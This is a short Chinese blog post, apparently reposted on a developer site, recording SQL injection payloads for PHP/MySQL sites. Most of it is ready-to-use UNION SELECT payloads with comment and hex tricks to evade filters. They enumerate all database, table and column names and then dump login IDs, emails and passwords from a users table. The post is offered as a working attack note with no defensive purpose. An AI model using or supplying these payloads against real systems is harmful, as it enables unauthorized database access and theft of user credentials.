概述
暴库名＼表名＼列名
/**/union/**/select/**/unhex(hex(concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20)))+FROM+information_sch
ema.columns+WHERE+table_schema!=0x696e666f726d6174696f6e5f736368656d61+LIMIT+N,1--
碰到一个字段暴不出来，问了下trace，找到了原因，是因为用户名字段是9个，但是密码字段只有4个是有值的，所以暴不出来，改了下语句可以了．
union+select+count(pasd)+from+users--
+union+select+concat(loginID,0x3a,email,0x3a,pasd)+from+users+where+length(pasd)>0+limit+N,1--
或者冰的原点提供的
/union/**/select/**/unhex(hex(group_concat(loginID,0x3a,pasd)))+FROM+users--
最后
以上就是飘逸唇膏为你收集整理的php 注入 记录一下的全部内容，希望文章能够帮你解决php 注入 记录一下所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
发表评论 取消回复